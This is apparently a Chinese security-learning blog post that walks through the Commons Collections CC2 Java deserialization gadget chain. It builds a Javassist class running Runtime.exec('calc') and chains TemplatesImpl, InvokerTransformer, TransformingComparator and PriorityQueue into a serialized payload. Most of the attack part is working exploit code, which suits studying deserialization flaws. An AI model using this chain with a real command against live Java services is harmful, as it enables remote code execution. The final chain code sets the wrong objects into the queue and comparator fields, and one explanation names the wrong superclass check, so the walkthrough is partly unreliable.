需要引入 1 2 3 4 5 <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.28.0-GA</version> </dependency>
动态创建类 这是我让ai写的一个动态创建类的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import javassist.*; public class DynamicClassCreator { public static void main(String[] args) throws Exception { // 获取 ClassPool ClassPool pool = ClassPool.getDefault(); // 创建一个新类 CtClass ctClass = pool.makeClass("com.example.DynamicPerson"); // 添加私有属性 CtField nameField = new CtField(pool.get("java.lang.String"), "name", ctClass); nameField.setModifiers(Modifier.PRIVATE); ctClass.addField(nameField); CtField ageField = new CtField(CtClass.intType, "age", ctClass); ageField.setModifiers(Modifier.PRIVATE); ctClass.addField(ageField); // 添加无参构造方法 CtConstructor noArgConstructor = new CtConstructor(new CtClass[0], ctClass); noArgConstructor.setBody("{ this.name = \"Unknown\"; this.age = 0; }"); ctClass.addConstructor(noArgConstructor); // 添加带参构造方法 CtClass[] params = new CtClass[] { pool.get("java.lang.String"), CtClass.intType }; CtConstructor fullConstructor = new CtConstructor(params, ctClass); fullConstructor.setBody("{ this.name = $1; this.age = $2; }"); ctClass.addConstructor(fullConstructor); // 添加getter和setter方法 ctClass.addMethod(CtNewMethod.getter("getName", nameField)); ctClass.addMethod(CtNewMethod.setter("setName", nameField)); ctClass.addMethod(CtNewMethod.getter("getAge", ageField)); ctClass.addMethod(CtNewMethod.setter("setAge", ageField)); // 添加自定义方法 CtMethod introduceMethod = new CtMethod(CtClass.voidType, "introduce", new CtClass[0], ctClass); introduceMethod.setModifiers(Modifier.PUBLIC); introduceMethod.setBody("{ System.out.println(\"Hello, my name is \" + name + \" and I'm \" + age + \" years old.\"); }"); ctClass.addMethod(introduceMethod); // 生成类文件 ctClass.writeFile("./target/classes"); // 加载并使用动态创建的类 Class<?> clazz = ctClass.toClass(); Object person = clazz.getConstructor(String.class, int.class) .newInstance("Alice", 30); // 调用方法 clazz.getMethod("introduce").invoke(person); } }
那么我现在来写一个简单的demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public class cc2 { @Test public void hack1() throws CannotCompileException, IOException, NotFoundException { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("hacker"); CtConstructor noArgConstructor = new CtConstructor(new CtClass[0], ctClass); noArgConstructor.setBody("{Runtime.getRuntime().exec(\"calc\");}"); ctClass.addConstructor(noArgConstructor); ctClass.writeFile(); } }
运行这段代码我们就可以看到在当前目录下生成了一个hacker的classes文件
我们反编译看看内容
定义了一个hacker类 构造方法调用计算机
好了这是前置知识
接下来我们看看链子是咋构造的
我们先看看TemplatesImpl 类的getTransletInstance方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null; if (_class == null) defineTransletClasses(); // The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this); translet.setServicesMechnism(_useServicesMechanism); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } }
这段代码中如果 实例化的使我们刚刚自己构造出来的hacker类不就能造成rce了么
1 AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
我们具体看看要怎么达成这个条件
条件1.
接下来我们看看defineTransletClasses 这个方法具体干了什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 private void defineTransletClasses() throws TransformerConfigurationException { if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class[classCount]; if (classCount > 1) { _auxClasses = new HashMap<>(); } for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); // Check if this is the main class if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } }
首先
条件2:
这样才能才不会报错,接着往下看
可以看到实例化了一个匿名类 loader
然后加载了class代码成为Class对象
同时他还会提取一个superClass 也就是这个class的父类class 并比较这个父类是否是jdk.xml.enableTemplatesImplDeserialization
如果不是的话不会设置_transletIndex = i;
所以我们有了
条件3: 1 superClass.getName().equals(ABSTRACT_TRANSLET)
回到匿名类的run方法
观察到_tfactory 默认是个null所以当调用_tfactory.getExternalExtensionsMap() 时会出先报错 所以我们还得反射重新设置一下他
条件4:
回到getTransletInstance方法
在调用完了defineTransletClasses 方法后就会进行实例化
那么现在我们尝试构造一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 @Test public void hack1() throws CannotCompileException, IOException, NotFoundException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("hacker"); CtConstructor noArgConstructor = new CtConstructor(new CtClass[0], ctClass); noArgConstructor.setBody("{Runtime.getRuntime().exec(\"calc\");}"); ctClass.addConstructor(noArgConstructor); //满足条件3 CtClass ancestor = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(ancestor); byte[] bytecode = ctClass.toBytecode(); //满足条件1 Class<? extends TemplatesImpl> clazz = TemplatesImpl.class; TemplatesImpl ob = clazz.newInstance(); Field _name = clazz.getDeclaredField("_name"); _name.setAccessible(true); _name.set(ob, "test"); //满足条件2 Field _bytecodes = clazz.getDeclaredField("_bytecodes"); _bytecodes.setAccessible(true); _bytecodes.set(ob, new byte[][]{bytecode}); // 必须是二维数组 //满足条件4 TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl(); Field _tfactory = clazz.getDeclaredField("_tfactory"); _tfactory.setAccessible(true); _tfactory.set(ob, transformerFactory); Method transform = clazz.getDeclaredMethod("newTransformer"); transform.setAccessible(true); transform.invoke(ob); }
成功调用计算器
那么我们就要找找在哪里会调用newTransformer这个方法
我们自然而然可以想到InvokerTransformer来调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("hacker"); CtConstructor noArgConstructor = new CtConstructor(new CtClass[0], ctClass); noArgConstructor.setBody("{Runtime.getRuntime().exec(\"calc\");}"); ctClass.addConstructor(noArgConstructor); //满足条件3 CtClass ancestor = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(ancestor); byte[] bytecode = ctClass.toBytecode(); //满足条件1 Class<? extends TemplatesImpl> clazz = TemplatesImpl.class; TemplatesImpl ob = clazz.newInstance(); Field _name = clazz.getDeclaredField("_name"); _name.setAccessible(true); _name.set(ob, "test"); //满足条件2 Field _bytecodes = clazz.getDeclaredField("_bytecodes"); _bytecodes.setAccessible(true); _bytecodes.set(ob, new byte[][]{bytecode}); // 必须是二维数组 //满足条件4 TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl(); Field _tfactory = clazz.getDeclaredField("_tfactory"); _tfactory.setAccessible(true); _tfactory.set(ob, transformerFactory); InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]); invokerTransformer.transform(ob);
然后找找哪里会调用transform方法
TransformingComparator里的compare 有调用
并且this.transformer 是可控的
所以进一步构造链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("hacker"); CtConstructor noArgConstructor = new CtConstructor(new CtClass[0], ctClass); noArgConstructor.setBody("{Runtime.getRuntime().exec(\"calc\");}"); ctClass.addConstructor(noArgConstructor); //满足条件3 CtClass ancestor = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(ancestor); byte[] bytecode = ctClass.toBytecode(); //满足条件1 Class<? extends TemplatesImpl> clazz = TemplatesImpl.class; TemplatesImpl ob = clazz.newInstance(); Field _name = clazz.getDeclaredField("_name"); _name.setAccessible(true); _name.set(ob, "test"); //满足条件2 Field _bytecodes = clazz.getDeclaredField("_bytecodes"); _bytecodes.setAccessible(true); _bytecodes.set(ob, new byte[][]{bytecode}); // 必须是二维数组 //满足条件4 TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl(); Field _tfactory = clazz.getDeclaredField("_tfactory"); _tfactory.setAccessible(true); _tfactory.set(ob, transformerFactory); InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]); TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer); transformingComparator.compare(ob, '1');
利用PriorityQueue 的readobject 找找哪里调用了compare方法
在PriorityQueue 类中就有调用compare的方法
我们看看他的readobject方法 调用了heapify
跟进heapify 方法 调用了siftDown方法
跟进siftDown 方法 这里我们能反射设置他的comparator 所以 comparator不为null 所以 会调用siftDownUsingComparator
跟进siftDownUsingComparator方法 最终调用了compare方法
所以我们最终能构造出链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 @Test public void hack2() throws CannotCompileException, IOException, NotFoundException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("hacker"); CtConstructor noArgConstructor = new CtConstructor(new CtClass[0], ctClass); noArgConstructor.setBody("{Runtime.getRuntime().exec(\"calc\");}"); ctClass.addConstructor(noArgConstructor); //满足条件3 CtClass ancestor = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(ancestor); byte[] bytecode = ctClass.toBytecode(); //满足条件1 Class<? extends TemplatesImpl> clazz = TemplatesImpl.class; TemplatesImpl ob = clazz.newInstance(); Field _name = clazz.getDeclaredField("_name"); _name.setAccessible(true); _name.set(ob, "test"); //满足条件2 Field _bytecodes = clazz.getDeclaredField("_bytecodes"); _bytecodes.setAccessible(true); _bytecodes.set(ob, new byte[][]{bytecode}); // 必须是二维数组 //满足条件4 TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl(); Field _tfactory = clazz.getDeclaredField("_tfactory"); _tfactory.setAccessible(true); _tfactory.set(ob, transformerFactory); InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]); TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer); transformingComparator.compare(ob, '1'); PriorityQueue priorityQueue = new PriorityQueue(2); //先设置为正常变量值,后面可以通过setFieldValue修改 priorityQueue.add(1); priorityQueue.add(1); Object[] objects = new Object[]{ob, ob}; Class< ?> clazz1 = Class.forName("java.util.PriorityQueue"); Field _queue = clazz1.getDeclaredField("queue"); _queue.setAccessible(true); _queue.set(priorityQueue, ob); Field comparator = clazz1.getDeclaredField("comparator"); comparator.setAccessible(true); comparator.set(priorityQueue, ob); SerializationUtils.serializeToFile(priorityQueue); SerializationUtils.deserializeFromFile("ser.bin"); }
调用逻辑
1 2 3 4 5 6 7 8 ->PriorityQueue.readObject() ->PriorityQueue.heapify() ->PriorityQueue.siftDown() ->PriorityQueue.siftDownUsingComparator() ->TransformingComparator.compare() ->InvokerTransformer.transform() ->TemplatesImpl.newTransformer() ->…………